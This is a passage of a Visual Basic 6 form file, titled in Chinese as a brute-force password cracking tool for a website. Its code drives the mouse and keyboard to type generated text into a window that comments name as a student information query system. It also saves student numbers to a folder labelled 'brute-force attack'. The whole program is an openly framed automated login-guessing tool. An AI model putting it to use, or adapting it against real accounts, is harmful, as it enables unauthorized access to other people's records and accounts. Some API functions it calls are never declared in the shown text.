form1.frm

对于某个网站的帐号密码暴力破解工具

      Height          =   255
      Left            =   1080
      TabIndex        =   8
      Top             =   120
      Width           =   1215
   End
   Begin VB.Label Label2 
      Caption         =   "现在状态:"
      Height          =   375
      Left            =   120
      TabIndex        =   7
      Top             =   120
      Width           =   1095
   End
   Begin VB.Label Label1 
      Caption         =   "学号:"
      Height          =   375
      Left            =   7320
      TabIndex        =   3
      Top             =   1560
      Width           =   615
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Const mouse_eventC = &H2     '  Event contains mouse event record
Private Const MOUSE_MOVED = &H1
Private Const MOUSEEVENTF_ABSOLUTE = &H8000 '  absolute move
Private Const MOUSEEVENTF_LEFTDOWN = &H2 '  left button down
Private Const MOUSEEVENTF_LEFTUP = &H4 '  left button up
Private Const MOUSEEVENTF_MIDDLEDOWN = &H20 '  middle button down
Private Const MOUSEEVENTF_MIDDLEUP = &H40 '  middle button up
Private Const MOUSEEVENTF_MOVE = &H1 '  mouse move
Private Const MOUSEEVENTF_RIGHTDOWN = &H8 '  right button down
Private Const MOUSEEVENTF_RIGHTUP = &H10 '  right button up
Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

'~~~~~~~~~~~~~~~~~~~~~~~~游戏位置,定义
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40

 Const EM_GETLINE = &HC4
 Const EM_LINELENGTH = &HC1
 Const EM_LINEINDEX = &HBB
Dim roro As Integer
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Sub RtlMoveMemory Lib "KERNEL32" (lpvDest As Any, lpvSource As Any, ByVal cbCopy As Long)
Private Declare Function GetCursorPos Lib "user32" (lpPoint As pointapi) As Long
'置顶




Private Type pointapi '定义点(Point)结构
x As Long '点在X坐标(横坐标)上的坐标值
y As Long '点在Y坐标(纵坐标)上的坐标值
End Type
Dim pp As pointapi


Sub TB_GetLine(ByVal hwnd As Long, ByVal whichLine As Long, Line As String)

Dim length As Long, bArr() As Byte, bArr2() As Byte, lc As Long
lc = SendMessage(hwnd, EM_LINEINDEX, whichLine, ByVal 0&)
length = SendMessage(hwnd, EM_LINELENGTH, lc, ByVal 0&)
If length > 0 Then
ReDim bArr(length + 1) As Byte, bArr2(length - 1) As Byte
Call RtlMoveMemory(bArr(0), length, 2) '准备一个存储器，传递消息之前先在存储器的前两个字节填入存储器的长度
Call SendMessage(hwnd, EM_GETLINE, whichLine, bArr(0))
Call RtlMoveMemory(bArr2(0), bArr(0), length)
Line = StrConv(bArr2, vbUnicode)
Text10.Text = Line

Else
Line = ""
End If

End Sub
Private Sub Combo1_DblClick()
If Text8.Text = "" Then

If Combo1.Text = "按键 " Then
Text8.SelText = "左击 " + "460, 14" + vbCr + vbLf + Combo1.Text
Else
Text8.SelText = Combo1.Text + " "
End If
Text8.SetFocus
Else

If Combo1.Text = "按键 " Then
Text8.SelText = vbCr + vbLf + "左击 " + "460, 14" + vbCr + vbLf + Combo1.Text
Else
Text8.SelText = vbCr + vbLf + Combo1.Text + " "
End If

Text8.SetFocus
End If
End Sub

Private Sub Command1_Click()
If Me.Text8.Text <> "" Then
'Me.Text9.Text = 0
Timer1.Enabled = True
Me.Command1.Enabled = False
End If
End Sub

Private Sub Command2_Click()
SetCursorPos Val(Me.Text4.Text), Val(Me.Text5.Text)
'mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
'mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
End Sub

Private Sub Command3_Click()
If Right(Text8.Text, 2) <> "结束" Then
Text8.Text = Text8.Text + vbCr + vbLf + "结束"
End If

cd.FileName = ""
cd.Action = 2
If cd.FileName = "" Then
Else
 textline1 = Text8.Text
Open cd.FileName For Output As #1    ' 打开输出文件。
 Write #1, textline1

Close #1   ' 关闭文件。
Text8.Text = ""
End If

End Sub

Private Sub Command4_Click()
cd.FileName = ""
cd.Action = 1
If cd.FileName = "" Then
Else
Open cd.FileName For Input As #1    ' 打开输出文件。
 Input #1, textline
 Text8.Text = textline
Close #1   ' 关闭文件。
Text9.Text = 0
End If
End Sub

Private Sub Command5_Click()
SendKeys Me.Text11.Text, True
End Sub

Private Sub Command6_Click()
Clipboard.SetText Me.Text1.Text + Me.Text2.Text + Me.Text3.Text
End Sub

Private Sub Command7_Click()
Timer1.Enabled = False

End Sub

Private Sub Command8_Click()
Timer1.Enabled = False
Me.Text9.Text = 0
Me.Command1.Enabled = True
End Sub

Private Sub Command9_Click()
Open "D:\编程资源\暴力功击\ff.mm" For Input As #1    ' 打开输出文件。
 Input #1, textline
 Text8.Text = textline
Close #1   ' 关闭文件。
Text9.Text = 0
End Sub

Private Sub Form_Load()
roro = 1000

SetFormTopmost Me
End Sub

Private Sub Form_Resize()

SetFormTopmost Me
End Sub

Private Sub Text8_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 112 Then
Text8.SelText = vbCr + vbLf + "左击 " + Textxx.Text & "," & Textyy.Text
ElseIf KeyCode = 113 Then

Text8.SelText = vbCr + vbLf + "取色 " + Textxx.Text & "," & Textyy.Text & "," & Text4.Text
ElseIf KeyCode = 114 Then
Text1.SelText = vbCr + vbLf + "延时 " + "2000"
End If
End Sub

Private Sub Timer1_Timer()

Dim s As String
   
    Call TB_GetLine(Text8.hwnd, Text9.Text, s)

If Text9.Text = roro Then
    MsgBox "己超过界限"
Else

    roro = Text9.Text

    Select Case Mid(Text10.Text, 1, 2)
    
        Case "左击"
        
            If Len(Text10.Text) = 3 Then
            MsgBox "语法错误"
            Else
            GetCursorPos pp
            
                SetCursorPos Mid(Text10.Text, 4, 3), Mid(Text10.Text, 8, 3)
                mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
                mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
                SetCursorPos pp.x, pp.y
            
            End If
        
        Case "按键"
            nnm = Len(Text10.Text)
            dnm = Mid(Text10.Text, 4, nnm - 3)
            SendKeys dnm, True
        Case "调用"
         nnm = Len(Text10.Text)
            Ret = Mid(Text10.Text, 6, nnm - 5) ' "学生信息查询系统 - Microsoft Internet Explorer"
            
    WinWnd = FindWindow(vbNullString, Ret)
    If WinWnd = 0 Then MsgBox "请开启电脑", , "提示": Exit Sub
    If Me.Check1.Value = 1 Then
    ShowWindow WinWnd, 3
    Else
    ShowWindow WinWnd, 1
    End If
    
    SetForegroundWindow WinWnd
    SetActiveWindow WinWnd
    
        
        Case "输出"
        
        Clipboard.SetText Me.Text1.Text + Me.Text2.Text + Me.Text3.Text
       ' Clipboard.GetText
       ' SendKeys "^" + "{V}", True
       Dim sg As String
       Dim i As Integer
       Dim gdd As String
       sg = Me.Text1.Text + Me.Text2.Text + Me.Text3.Text
       For i = 1 To Len(sg)
        gdd = Mid(sg, i, 1)
        SendKeys gdd, True
        Next i

        Case "结束"
            Text9.Text = 0
            Me.Command1.Enabled = True
            Timer1.Enabled = False
            Exit Sub
      
        
    End Select
End If
 Text9.Text = Text9.Text + 1
End Sub

Private Sub Timer2_Timer()
If Me.Text12.Text <> "" Then
textline1 = Me.Text12.Text
Open "D:\编程资源\暴力功击\学号.txt" For Output As #1    ' 打开输出文件。
 Write #1, textline1

Close #1   ' 关闭文件。

End If
End Sub

Private Sub Timer3_Timer()
GetCursorPos pp
Me.Label8.Caption = pp.x
Me.Label9.Caption = pp.y
Dim aa As Long
            Ret = Text13.Text ' "学生信息查询系统 - Microsoft Internet Explorer"
            
    WinWnd = FindWindow(vbNullString, Ret)
    'MsgBox WinWnd
    If WinWnd <> 0 Then
        dsad = GetDC(WinWnd)
        aa = GetPixel(dsad, Me.Label8.Caption, Me.Label9.Caption)
       Me.Label11.Caption = aa
        If aa = -1 Then
        
        Else
       ' MsgBox aa
           Me.Label10.BackColor = aa
        End If
    End If
End Sub